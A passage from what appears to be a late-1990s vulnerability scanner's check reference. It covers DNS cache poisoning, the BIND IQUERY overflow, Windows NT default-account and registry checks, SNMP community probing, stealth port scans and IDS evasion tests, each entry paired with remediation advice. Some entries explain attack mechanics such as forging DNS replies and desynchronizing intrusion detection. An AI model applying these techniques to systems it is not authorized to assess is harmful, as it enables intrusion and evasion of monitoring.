This module determines whether or not a host will cache information which is appended to the end of a legitimate query. It is highly unlikely that current implementations support this, however this was supported in old BIND implementations. We query the server for a legitimate host, and add additional resource records to the back of the query. Then we determine whether the

server has cached this additional record or not.

Suggestions
Upgrade your version of BIND.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Data Integrity

17010. DNS accepts responses out of sequence check

Verbose Description
This module determines whether a DNS server will accept responses with invalid ID numbers. We query the DNS server for a host which is resolved somewhere else on the Internet, and send a fake reply with a false ID number. If our response is cached, we conclude that the server is caching responses with invalid ID numbers.

Suggestions
Although this is highly unlikely, it's possible that a faulty implementation of BIND may cache these sequences. In this case we recommend obtaining the latest version of BIND and installing it.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Data Integrity

17014. DNS caches answers with binary data check

Verbose Description
Determine whether or not the DNS server will cache binary data in hostname queries. Caching binary data in place of hostname information is very dangerous as many programs expect the nameserver to return clean, valid printable information. It has been noted that many programs can be exploited by passing invalid data via DNS responses. We query the nameserver for a legitimate host, and respond with a legitimate reply containing invalid binary data. We then query the DNS server again to determine if this was cached or not. For reference:

BIND 4.8.3 allows caching anything you want.
BIND 4.9.3 will cache under certain conditions.
BIND 4.9.4-P1 will not cache binary data

Suggestions
Upgrade to BIND version 4.9.4-P1 or greater.

References
CERT Advisory CA-96.04.corrupt_info_from_servers
CERT Advisory CA-96.02.bind

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

17018. DNS version number check

Verbose Description
This module attempts to obtain the remote version number from the DNS server. This information is provided by post 4.9.5 BIND name servers. The information consists of the version of BIND running on the remote server, and the host and user who compiled the installed nameserver.

Security Concerns
Gathering information such as the version number, and the individual who installed BIND can lead to further security problems. This information can allow an attacker to take advantage of security problems which are present in the version of BIND being run.

Suggestions
We suggest you disable this feature by commenting out the offending source code in your BIND distribution. The offending code appears in the file named/ns_req.c. The code can be easily found by searching for the string "VERSION.BIND" in this file. The 23 lines or so of offending code should be commented out.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread

Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

17020. DNS Cache Corruption, Guessable Query IDs

Verbose Description
Most nameservers on the Internet are vulnerable to an attack that allows an attacker to cache arbitrary information on the server, thus allowing the attacker to spoof DNS, redirect web traffic, and subvert hostname-based authentication.

This attack works by forcing the target nameserver to attempt to resolve the information being spoofed, and then forging the response to this request. To do this, the attacker needs to be able to predict the query-ID used by the target nameserver in the query.

This module attempts to determine whether or not the target nameserver uses query IDs which can be predicted. If it is determined that the query IDs are predictable, an attacker can forge responses to DNS queries and spoof the DNS protocol.

Suggestions
There are no complete solutions to this problem. The attack can be made harder by installing a patch to BIND that randomizes query-IDs; however, n attacker can still attempt to guess query-IDs by brute force.

Stop using DNS hostnames for authentication; ensure any TCP wrapper ACLs or .rhosts entries use IP addresses, not hostnames.

References
NAI Security Advisory #11
http://www.nai.com/products/security/advisory/11_bindids_adv.asp
CERT Advisory CA-97.22.bind
ftp://CA-97.22.bind

Risk Factor: High
Ease of repair: Infeasable
Attack Popularity: Popular
Attack Complexity: High
Underlying Cause: Design
Impact of Attack: Data Integrity

17021. DNS Cache Corruption, Multiple-Answer Attack

Verbose Description
Recent revisions of BIND (4.9.5 and below) are vulnerable to an attack that allows arbitrary individuals on the network to cache incorrect information on the server. This allows an attacker to spoof nameservice, redirect web accesses, and bypass name-based authentication (such as TCP-wrappers).

The attack involves forcing the nameserver to talk to another server somewhere else on the network, in order to resolve some random name. The remote server responds to this query with two answers, one answering the query, and another that contains false information. Vulnerable servers will cache both answers, and the fake data will be made available for future queries.

Suggestions
Upgrade the nameserver to BIND 8.1.1, which corrects the problem that allows this attack to work.

Stop depending on DNS hostnames for authentication; make sure .rhosts files and TCP wrappers reference actual IP addresses, not hostnames.

References
CERT Advisory CA-97.22.bind
ftp://ftp.cert.org/pub/cert_advisories/CA-97.22.bind

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: High
Underlying Cause: Design
Impact of Attack: Data Integrity

17022. DNS Cache Corruption, Poisoned-NS Attack

Verbose Description
Recent revisions of BIND (4.9.5 and below) are vulnerable to an attack that allows arbitrary individuals on the network to cache incorrect information on the server. This allows an attacker to spoof nameservice, redirect web accesses, and bypass name-based authentication (such as TCP-wrappers).

This attack works by forcing the nameserver to talk to a remote server to resolve a query for some random name. The remote server can trick the nameserver into caching arbitrary names by responding to this query with an answer that contains a fake NS record; the information from this NS record will be cached on

the target nameserver.

Suggestions
Upgrade the nameserver to BIND 8.1.1, which corrects the problem that allows this attack to work.

Stop depending on DNS hostnames for authentication; make sure .rhosts files and TCP wrappers reference actual IP addresses, not hostnames.

References
CERT Advisory CA-97.22.bind
ftp://ftp.cert.org/pub/cert_advisories/CA-97.22.bind

Risk Factor: High
Ease of repair: Difficult
Attack Popularity: Popular
Attack Complexity: High
Underlying Cause: Design
Impact of Attack: Data Integrity

17023. DNS Cache Corruption, Parallel Query Attack

Verbose Description
Most nameservers on the Internet are vulnerable to an attack that allows an attacker to cache arbitrary information on the server, thus allowing the attacker to spoof DNS, redirect web traffic, and subvert hostname-based authentication.

This attack works by forcing the target nameserver to attempt to resolve the information being spoofed, and then forging the response to this request. To do this, the attacker needs to be able to predict the query-ID used by the target nameserver in the query.

The effectiveness of this attack can be heightened by forcing the target nameserver to launch many queries for this information in parallel, thus causing it to allocate more query IDs, which gives an attacker a greater opportunity to guess the query ID, even if it's randomized.

This module attempts to determine if an attacker can force the nameserver to initiate multiple queries for the exact same information. If the nameserver does this, an attacker can significantly increase the odds of successfully guessing query IDs and forging DNS responses.

Suggestions
There are no complete solutions to this problem. The attack can be made

harder by installing a patch to BIND that randomizes query-IDs; however, an attacker can still attempt to guess query-IDs by brute force.

Stop using DNS hostnames for authentication; ensure any TCP wrapper ACLs or .rhosts entries use IP addresses, not hostnames.

References
CERT Advisory CA-97.22.bind
ftp://ftp.cert.org/pub/cert_advisories/CA-97.22.bind

Risk Factor: High
Ease of repair: Infeasable
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Design
Impact of Attack: Data Integrity

17024. DNS IQUERY Buffer Overflow Attack

Verbose Description
Certain versions of BIND are vulnerable to an attack which allows a remote DNS client to run an arbitrary command on the nameserver host as the user the server runs as (frequently root). This attack exploits an implementation flaw in BIND that involves a buffer overflow triggered by inserting an overly long name record into a DNS IQUERY request.

Most BIND servers do not support the IQUERY operation. These servers are not vulnerable to this attack. However, many Linux hosts run stock nameservers which are configured to support IQUERY; these hosts can be compromised completely by this attack.

Suggestions
Obtain the most recent version of BIND, or recompile BIND with support for the IQUERY operation disabled.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation

Impact of Attack: **System Integrity**

19: WINDOWS NT VULNERABILITIES

19000. Windows NT - Registry checks

Verbose Description
Windows NT - Registry checks

Required for all registry checks

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: N/A

19001. Windows NT - NULL User Registry Check

Verbose Description
This vulnerability, also known as the "Red Button" vulnerability allows unauthenticated users to connect to the Windows registry and, depending on the permissions, read and write the registry. By writing certain values, an attacker has the ability to change system configurations in such a way as to gain access to the running system.

Suggestions
Restrict access to the registry with REGEDT32.EXE by adding the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipe\winreg\AllowedPaths
and listing only those portions of the HKEY_LOCAL_MACHINE registry that should be accessible from the network. For Example a value of:

REG_MULTI_SZ:
System\CurrentControlSet\Control\ProductOptions
System\CurrentControlSet\Control\Print\Printers
System\CurrentControlSet\Services\Eventlog
Software\Microsoft\Windows NT\CurrentVersion

allows only four subtrees of the registry to be accessed remotely. After changing the registry the machine must be rebooted before the changes take effect.

Additionally, individual keys can be protected from access by unauthenticated network users by removing any access granted to the "Everyone" group.

Care must be taken when removing access to members of the "Everyone" group. Removing access to "Everyone" may result in some applications being unable to access keys critical to their operation. To avoid problems it is a good idea to create an "AllUsers" group and include all local and domain accounts in this group. The "AllUsers" group should be granted any permissions removed from the "Everyone" group. Since unauthenticated accounts are not included in "AllUsers", this will prevent users without valid accounts from accessing the protected registry keys.

References
The following Microsoft Knowledge Base articles provide more detailed information on this vulnerability:

Q143474 - Restricting Information Availible to Anonymous Logon Users
Q143138 - Can No Longer Access the Registry with NULL Sessions

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

19002. Windows NT - General system information check

Verbose Description
This module returns general information about the Windows NT system running on the remote host. This information includes the version number, the build number, the owner and organization, and system paths. This information is retrieved from the Windows NT Registry.

Security Concerns
Users outside of your network should not be given access to the specified information.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

19003. Windows NT - Logon information

Verbose Description
This module returns information on the default settings which are applied to a user's session upon login. Via this information, the default network domain name and default login name are obtained. This information is retrieved through the Windows NT Registry.

Security Concerns
Users outside of your network should not be given access to the specified information.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

19004. Windows NT - Installed network interfaces

Verbose Description
This module returns a listing of network interfaces which are installed on the remote server. This information is obtained from the Windows NT Registry.

Security Concerns
Users outside of your network should not be given access to the specified information.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

19005. Windows NT - Version 4.0 Beta

Verbose Description
This module determines whether the remote host is running a beta version of Windows NT 4.0

Security Concerns

Running Beta versions of software on mission critical systems is generally a poor idea. In many cases there are still problems with beta versions of any software.

Suggestions
Upgrade your installation to the latest version of Windows NT.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

19006. Windows NT - Multi-homed System

Verbose Description
This module determines whether the specified Windows NT system has multiple network interfaces. Having multiple network interfaces indicates that this host may be acting as a gateway, and is passing traffic from one network to the other.

Security Concerns
By obtaining such information, an attacker will take into account that this system may be a pathway to another portion of your network.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

19007. Windows NT - Alerter and Messenger Services Present

Verbose Description
The messenger service is a service which is used by Windows NT systems to send notification messages to users on the system. This service is commonly used to send messages regarding events such as security alerts, and print job status.

Security Concerns
If you are connected to a network which may contain malicious users,

such as the global Internet, anyone can send messages to users who are logged into the Windows NT system. No authentication is supported for this service. This may be used to annoy users, in addition to social engineering attacks.

Suggestions
Disable the "Messenger" service on your Windows NT system. In addition to disabling the Messenger service, preventing access to TCP port 139 will also prevent malicious users from using this service.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

19009. Windows NT - Resource Kit RSHSVC Present

Verbose Description
The Microsoft Windows NT RSHSVC, which is included with the Windows NT Resource Kit, contains a security vulnerability, which may allow unauthorized users to execute commands on vulnerable systems. The Windows NT RSHSVC fails to check whether the remote username is a valid user, as specified in the .Rhosts access file, and allows a login, as long as the hostname matches a valid entry. This allows any user from a remote host to utilize the RSHSVC, when only specific users should be allowed.

In addition to the above vulnerability, the RSH service utilizes IP address based authentication which can be easily bypassed with TCP sequence number prediction attacks. By utilizing either the above vulnerability or TCP sequence number prediction, it may be possible for attackers to execute commands on the remote server.

Security Concerns
Attackers may be able to execute commands on vulnerable Windows NT servers.

Suggestions
It is recommended that you disable the RSHSVC and utilize an alternate mechanism to perform the same function.

References
The following Microsoft Knowledge Base articles provide additional

information on this vulnerability:

Q158320 - RSHSVC Included in WinNT 3.5x/4.0 ResKit Has Potential Leak

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

19010. Windows NT - Unpassworded Administrator Account

Verbose Description
The Windows NT Administrator account has been found to have no password.

Security Concerns
An unpassword Windows NT Administrator account allows remote users to gain full access to the Windows NT system.

Suggestions
Password the Administrator account immediately

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

19011. Windows NT - Administrator Account with password Administrator

Verbose Description
The Windows NT Administrator account was found to have the same password as the account name.

Security Concerns
An easily guessable password such as "ADMINISTRATOR" can allow any network users easy access to the entire system.

Suggestions
Change the administrator account password immediately

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

19012. Windows NT - Unpassworded Guest Account

Verbose Description
The Windows NT Guest account has been found to have no password.

Security Concerns
An unpassword Windows NT Guest account allows remote users to gain Guest access to the Windows NT system.

Suggestions
Password the Guest account immediately

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Accountability Data Integrity Authorization Intelligence

19013. Windows NT - Guest Account with password Guest

Verbose Description
The Windows NT Guest account was found to have the same password as the account name.

Security Concerns
An easily guessable password such as "GUEST" can allow any network users easy access to the entire system.

Suggestions
Change the GUEST account password immediately

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **Confidentiality Accountability Data Integrity Authorization Intelligence**

20: SNMP/NETWORK MANAGEMENT

20001. SNMP Community check

Verbose Description
This module attempts to talk to a hosts SNMP server using some commonly used community names. If a successful connection is made the community is probed to see if it is read-only or read-write.

Security Concerns
SNMP access provides an attacker with a wide variety of information from an SNMP enabled device. This information ranges from the type and model of the device, to active network connections, processes running on the host, and users logged into the host.

SNMP write access provides an attacker with the ability to alter networking and other device parameters. An attacker with write access can alter the routing and arp tables, bring network interfaces up and down, enable or disable packet forwarding and alter several other networking parameters. In addition, vendor extensions may provide other control parameters that an attacker can manipulate. This level of access can lead to denial of service or the compromise of security or confidential information.

Suggestions
We suggest you correctly configure your SNMP device to only respond to internal private community names. Write access should be disabled where not needed. Packet filtering should be used to limit the hosts that can communicate with the SNMP daemon.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Data Integrity Authorization Intelligence

20010. SNMP MIB-II Miscellaneous data

Verbose Description
This module gathers miscellaneous information from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20011. SNMP MIB-II TCP table

Verbose Description
This module retrieves the TCP connection table from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20012. SNMP MIB-II UDP table

Verbose Description
This module retrieves the table of listening UDP ports from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20013. SNMP MIB-II Interface Table

Verbose Description
This module retrieves the table of network interfaces from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20014. SNMP MIB-II Address table

Verbose Description
This module retrieves the table of IP addresses from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20015. SNMP MIB-II ARP table

Verbose Description
This module retrieves the ARP table (which contains IP address to hardware address translations) from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A

Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20016. SNMP MIB-II Routing table

Verbose Description
This module retrieves the IP routing table from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20020. SNMP LANMAN Miscellaneous information

Verbose Description
This module retrieves miscellaneous information in the LANMAN MIB from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to

only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20022. SNMP LANMAN Service table

Verbose Description
This module retrieves the LANMAN table of services from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20023. SNMP LANMAN Shares

Verbose Description
This module retrieves the table of LANMAN shares from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20024. SNMP LANMAN Users

Verbose Description
This module retrieves the table of LANMAN users from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP. This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: Intelligence

20030. SNMP SunMib Process Table

Verbose Description
This module retrieves the process table from the SNMP daemon with the community name provided in the configuration file.

This module does not demonstrate any vulnerability, it simply retrieves information that is available to an attacker that has read access to SNMP.

This module uses the community name specified in the configuration file and does not attempt to guess the community name. A seperate SNMP community module is provided to probe for SNMP access.

Security Concerns
Providing an attacker with a process listing on the target host enables them to obtain a listing of services and processes running which may be vulnerable to additional problems.

Suggestions
If this module was successful with a common SNMP community name such as "public", we suggest you correctly configure your SNMP device to only respond to internal private community names.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A

Impact of Attack: **Intelligence**

21: NETWORK PORT SCANNING

21001. TCP port scanning

Verbose Description
This check scans a target host for listening TCP ports.

Suggestions
The scanner will return which TCP ports are listening. You should check these ports to see they are running services you have approved. If they are running services which are undocumented, or which you do not wish to run we suggest you disable them.

Many operating systems are shipped with a large number of services that are not required for normal operation. In some cases these services may contain known or unknown security problems. It is recommended that any services which are not required be disabled.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: N/A
Underlying Cause: Design
Impact of Attack: Intelligence

21002. UDP scanning check

Verbose Description
This check scans a target host for listening UDP ports.

Scanning for active UDP ports is very difficult to perform reliably. This is due to the fact that UDP is a connectionless protocol, and there is no reliable indication whether or not a connection has been established. There are 2 primary methods used to scan for listening UDP ports:

1. Sending data to a UDP port, and awaiting a response from that port.
2. Sending data to a UDP port, and awaiting an ICMP port unreachable message, indicating that this port is NOT active. This allows us to build a listing of ports which may be active (if no port unreachable message is received from that port).

There are problems when using both methods.

When using method 1 and sending random data to each UDP port, many

services will not respond if they cannot recognize the data. This results in being unable to detect many UDP servers which may be running.

Using method 2 is reliable if we can ensure that two conditions are met:

1. No ICMP port unreachable messages are lost in transit.
2. The host reliably returns an ICMP port unreachable packet for every port that is inactive. This varies from operating system to operating system, in that certain operating systems implement thresholds to prevent themselves from sending out too many ICMP port unreachable messages in a period of time. Examples of this threshold have been found in versions of Linux and Solaris.

CyberCop Scanner attempts to determine the best method for scanning a host for listening UDP servers. It's first choice is to scan by sending data and watching for ICMP unreachable messages. CyberCop Scanner will determine whether this is possible by first attempting this on ports 45000-45009. If CyberCop Scanner receives back all 10 ICMP port unreachable messages, it will use this method to scan for active UDP services, and assumes that the host reliably returns ICMP port unreachable messages. If this test fails, then method 1 is used, and data is sent to each port, awaiting a response.

If method 2 was used, CyberCop Scanner will attempt to verify results by sending 2 more sets of data packets, and ensuring that the host is not returning ICMP port unreachable messages for ports which were found to be active earlier. This is an attempt to ensure that if any ICMP port unreachable packets were lost in transit, we do not falsely report listening ports.

The results from this scan are fairly reliable when scanning on the local network, however will vary on long haul networks. Filtering routers will also cause results to vary.

Suggestions

The scanner will return which UDP ports are listening. You should check these ports to see they are running services you have approved. If they are running services which are undocumented, or which you do not wish to run we suggest you disable them.

Many operating systems are shipped with a large number of services that are not required for normal operation. In some cases these services may contain known or unknown security problems. It is recommended that any services which are not required be disabled.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

21003. TCP SYN port scanning

Verbose Description
This check can be used as a much faster alternative to regular TCP port scanning. This check scans a target host for listening TCP ports in much the same way as the regular TCP port scanning, however does so by sending a packet to initiate a connection and watching for a response. The difference in using this method is that a complete connection to the remote host is not actually opened.

The drawback in using this method is that it may be unreliable due to packet loss on the network.

Suggestions
The scanner will return which TCP ports are listening. You should check these ports to see they are running services you have approved. If they are running services which are undocumented, or which you do not wish to run we suggest you disable them.

Many operating systems are shipped with a large number of services that are not required for normal operation. In some cases these services may contain known or unknown security problems. It is recommended that any services which are not required be disabled.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

21004. TCP ACK port scanning

Verbose Description
This check can be used as a much faster alternative to regular TCP port scanning. This check scans a target host for listening TCP ports by observing how the target replies to a TCP ACK packet. Because the target host replies differently when an ACK is sent to a listening port than when an ACK is sent to a non-listening port, the scanner can infer which ports are being listened on. Because ports are checked without actually initiating a TCP connection, this type of scan is sometimes referred to as a "stealth" scan.

The drawback in using this method is that it may be unreliable due to packet loss on the network and differing behavior of different target

systems.

Suggestions
The scanner will return which TCP ports are listening. You should check these ports to see they are running services you have approved. If they are running services which are undocumented, or which you do not wish to run we suggest you disable them.

Many operating systems are shipped with a large number of services that are not required for normal operation. In some cases these services may contain known or unknown security problems. It is recommended that any services which are not required be disabled.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

21005. TCP FIN port scanning

Verbose Description
This check can be used as a much faster alternative to regular TCP port scanning. This check scans a target host for listening TCP ports by observing how the target replies to a TCP FIN packet. Because the target host replies only when a FIN is sent to a non-listening port, and not when an FIN is sent to a listening port, the scanner can infer which ports are being listened on. Because ports are checked without actually initiating a TCP connection, this type of scan is sometimes referred to as a "stealth" scan.

The drawback in using this method is that it may be unreliable due to packet loss on the network and differing behavior of different target systems. Because this method assumes that a target port is listening whenever a reply is not received, it is particularly prone to packet loss. As a result this scan may mistakenly report some non-listening ports as being active.

Suggestions
The scanner will return which TCP ports are listening. You should check these ports to see they are running services you have approved. If they are running services which are undocumented, or which you do not wish to run we suggest you disable them.

Many operating systems are shipped with a large number of services that are not required for normal operation. In some cases these services may

contain known or unknown security problems. It is recommended that any services which are not required be disabled.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

21006. RPC Scanning Direct

Verbose Description
The RPC scanning direct check performs a UDP RPC scan of the remote host, attempting to find services by bypassing the portmapper or rpcbind. In many instances, the portmapper (port 111), which translates RPC program numbers to port numbers, is being filtered at an organization's filtering device or firewall. By directly scanning for RPC services, it is still possible to obtain a full listing of RPC services running on the remote host, and then contact them directly rather than querying the portmapper first.

This check is unreliable over long haul networks, due to the unreliability of the UDP transport layer. In the case where this check is being run over a long haul network, some RPC programs which are actually running, may not appear in the scan results.

Suggestions
We suggest that you review your filtering policy and prevent any RPC traffic from entering your network. RPC has a prior history of security related problems, and many current implementations of RPC programs contain serious security vulnerabilities.

Risk Factor: Medium
Ease of repair: Infeasable
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Design
Impact of Attack: Intelligence

21007. FTP bounce port scan

Verbose Description
This module determines which TCP ports are alive on the remote host

by utilizing the remote FTP server to attempt to connect to TCP ports. This module utilizes the FTP bounce attack to determine which TCP ports are active on the remote network.

Security Concerns
An FTP server which is vulnerable to the FTP bounce attack allows an attacker to determine which services are offered on the remote host, or other internal hosts, even if a filtering router prevents access to those ports.

Suggestions
Upgrade your FTP server to a newer version which is not vulnerable to the FTP bounce attack.

Risk Factor: Medium
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Design

Impact of Attack: **Intelligence**

27: INTRUSION DETECTION SYSTEM VERIFICATION

27001. IDS Single Out-of-Order TCP Segment Test

Verbose Description
This test determines whether a network intrusion detection system is capable of reconstructing data from network transactions when the packets compromising those transactions are sent out-of-order. Real TCP/IP network software is capable of handling arbitrarily ordered packets; network intrusion detection software is frequently unable to do so.

Security Concerns
An intrusion detection system that cannot handle out-of-order packets can be evaded entirely by an attacker that forces all of her packets to be sent in random order.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27002. IDS Baseline (Single-Segment)

Verbose Description
This test determines whether a network intrusion detection system is appropriately configured to detect attacks in TCP network traffic.

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27003. IDS TCB Desynchronization Test (RST)

Verbose Description
This test attempts to "desynchronize" an intrusion detection system from a TCP connection being used to carry out an attack. By creating a false TCP connection prior to carrying out a real attack, this test attempts to convince an IDS that the attack-bearing connection is entirely invalid, thus preventing it from monitoring the data exchanged in the connection.

This specific test functions by opening a connection, immediately resetting it, and opening a new connection in it's place. A real TCP/IP stack will appropriately handle the new connection; broken IDS software that does not correctly deal with TCP connection resets will not detect the new connection.

Security Concerns
An intrusion detection system that can be desynchronized from connections can be evaded entirely by an attacker that forces desynchronization to occur for all attack-bearing connections.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27004. IDS All Out-of-Order TCP Segment Test

